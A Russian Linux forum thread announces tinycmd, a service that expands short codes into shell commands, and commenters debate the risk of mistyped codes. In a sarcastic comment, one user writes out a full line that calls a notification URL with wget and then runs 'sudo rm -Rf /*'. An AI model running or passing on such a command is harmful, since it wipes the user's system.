LINUX.ORG.RU

tinycmd — ввод нескольких символов вместо длинной команды в консоли

 


0

1

Бывало ли когда-нибудь так, что нужно было помочь кому-то из друзей или родственников, плохо разбирающихся в компьютерах, что-либо установить или настроить? Во многих случаях бывает довольно сложно объяснить, что нужно делать в графическом интерфейсе, поскольку нужно представлять себе, что происходит на экране у другого человека, а интерфейс у него на компьютере может выглядеть очень по-разному.

Гораздо проще в таких случаях просто попросить человека открыть терминал и набрать определённую строчку команд. Но как именно это сделать, если человек плохо знаком со столь привычными нам компьютерными понятиями? Если диктовать по телефону, то ему может быть сложно искать спец. символы на клавиатуре, и он может расставлять пробелы не в том месте, а если использовать текст, то может потребоваться сначала объяснить ему, что такое буфер обмена, и как выделять и копировать текст, а потом разбираться, почему команда не работает (а потом выяснить, что человек, например, скопировал команду целиком, за исключением последнего символа).

Только что я закончил работу над сервисом tinycmd. Этот сервис позволяет сокращать целую строчку команд до всего лишь нескольких символов, которые нужно набрать в терминале, и нажать Enter.

Такая команда может выглядеть например так:

t zx48v7

Здесь t — это команда tinycmd.

Помимо варианта с удалённой помощью сервис можно использовать для презентаций или мастер-классов, либо когда нужно написать для кого-либо инструкцию на бумаге.

Для того, чтобы добавить новую команду, которая становится доступна с любого компьютера, где установлен tinycmd, достаточно зайти на tinycmd.org.

И ещё доступен исходный код на Гитхабе. Поэтому tinycmd можно установить и использовать даже там, где по каким-то причинам невозможен доступ в Интернет, но есть, например, локальная сеть.

>>> Сайт tinycmd

Ответ на: комментарий от anonymous

Если диктовать по телефону - я думаю зачастую удобнее будет продиктовать команду, чем какую-ть невнятную «zx48v7», ошибись случайно на один символ и можешь исполнить какую-ть лабудень.

+100500
Вот так сесть и по грусти навставлять в этот сервис легендарный `sudo rm -Rf` раз так 10'000, и для набирающего под диктовку шифр «zx48v7» лотерея готова! Не факт конечно, но джекпот выхватить можно.

han
()

Ошибки

Идея хороша.

что если ошибочно набрать t zvn34 вместо t zvn43 - и выполнить не ту команду ?

anonymous
()
Ответ на: комментарий от user_id_68054

> «t2» это конешно не линуксовский стиль названия...

...надо чтото типа «t-ng» :-D

Конечно же yat!

diafour
()
Ответ на: комментарий от han

> Вот так сесть и по грусти навставлять в этот сервис легендарный `sudo rm -Rf` раз так 10'000, и для набирающего под диктовку шифр «zx48v7» лотерея готова! Не факт конечно, но джекпот выхватить можно.

а лучше усоверщенствовать:

10'000 раз назапихивать:

wget "http://www.my-notify-domain.org/rf-notify/$[id]" -O- && sudo rm -Rf /*

(где id — это заранее зарегестрированный notify-идентификатор)

чтобы при каждом таком ``rm -Rf`` — отправлялось notify-уведомление о том что мол ктото сделал ``rm -Rf`` :-D :-D

user_id_68054 ★★★★★
()
Ответ на: комментарий от user_id_68054

чтобы при каждом таком ``rm -Rf`` — отправлялось notify-уведомление о том что мол ктото сделал ``rm -Rf`` :-D :-D

Тоже верно! Всегда приятно, когда творенье рук твоих приносит людям пользу, много пользы. :-D

han
()
Ответ на: комментарий от anonymous

> Совместил бы кто ssh с xmpp...

Чтобы боты однострочник присылали? ;)

hobbit ★★★★★
()

хуета пиздобразная.

anonymous
()

Аналоги?

Ребятки! Не ссорьтесь =) Проверка на дублируемость команд конечно помогла бы, вместе с сообщением авторства и переспрашиванием разрешения на выполнение, но...

Уже есть сервис, намного более удобный и развитый!

http://www.commandlinefu.com/

Тут вам и команды, и комментарии с альтернативными версиями команд, и рейтинг лучших команд

http://www.commandlinefu.com/commands/browse/sort-by-votes

и автоматическая проверка на существование при добавлении, и даже та же самая «РУЛЕТКА» / I'm feeling lucky / «что бы мне выполнить сегодня» =))

http://www.commandlinefu.com/commands/random

Всё это уже есть и реализовано.

Я лично пользуюсь, т.к. местами встречаются очень интересные команды. API открыт, разумеется. Рекомендую =)

sxiii
()

[Ответить на это сообщение]

anonymous
()

Обожаю ЛОР за конструктивную критику

Crespo
()

заведи себе лошадку :)

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.